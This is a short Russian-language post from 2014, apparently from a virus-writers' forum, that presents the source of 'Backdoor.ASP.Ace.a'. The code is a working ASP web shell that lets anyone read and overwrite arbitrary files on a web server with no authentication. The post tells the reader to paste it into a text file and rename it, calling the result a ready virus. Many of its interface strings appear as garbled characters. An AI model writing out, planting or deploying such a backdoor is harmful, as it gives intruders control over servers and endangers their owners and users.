компьютерные вирусописатели

16 фев 2014

Название: Backdoor.

ASP.Ace.a
Описание: отсутствует
Так же точно создаем Текстовый документ.txt копируем в него код и переименовываем (Текстовый документ.txt) в (Backdoor.ASP.Ace.a) и вирус готов
Код:
<%Server.ScriptTimeout=5000%>
<html>
<head>
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312">
<title>Editor</title>
<link rel="stylesheet" type="text/css" href="ase.css">
</head>
<body>
ОДјюЈє<%= request("filename") %>
<%
Function Deal(exp1)
dim exp2
exp2=Replace(exp1,"<","<")
exp2=Replace(exp2,">",">")
exp2=Replace(exp2,"'","''")
Deal=exp2
End Function
If Request("task")="read" then
dim wj
filename=Request("filename")
'¶БОДјю
whichfile=filename
Set fs = CreateObject("Scripting.FileSystemObject")
Set thisfile = fs.OpenTextFile(whichfile, 1, False)
counter=0
do while not thisfile.AtEndOfStream
thisline=thisfile.readline
wj=wj+chr(13)+chr(10)+thisline
counter=counter+1
loop
thisfile.Close
Set fs=nothing
Response.Write " Т»№ІУР" & Cstr(counter) & "РР<br>"
'¶БОДјюЅбКш
%>
<form METHOD="POST" action="<%=Request("SCRIPT_NAME")%>">
<input type="hidden" name="task" value="change"><input type="hidden" name="filename"
value="<%=filename%>"><p>ДЪИЭ:<br>
<textarea ROWS="20" COLS="60" NAME="wj"><%=wj%></textarea></p>
<p><input TYPE="submit" VALUE="РЮёД" NAME="B1"><input TYPE="reset" VALUE="ёґФ*"
NAME="B2"></p>
</form>
<%
elseif Request("task")="change" then
filename=Request("filename")
whichfile=filename
Set fs = CreateObject("Scripting.FileSystemObject")
Set outfile=fs.CreateTextFile(whichfile)
outfile.Write Request("wj")
outfile.close
set fs=nothing
Response.Write "НкіЙЈЎ"
end if
%>
<hr>
</body>
</html>

Комментарии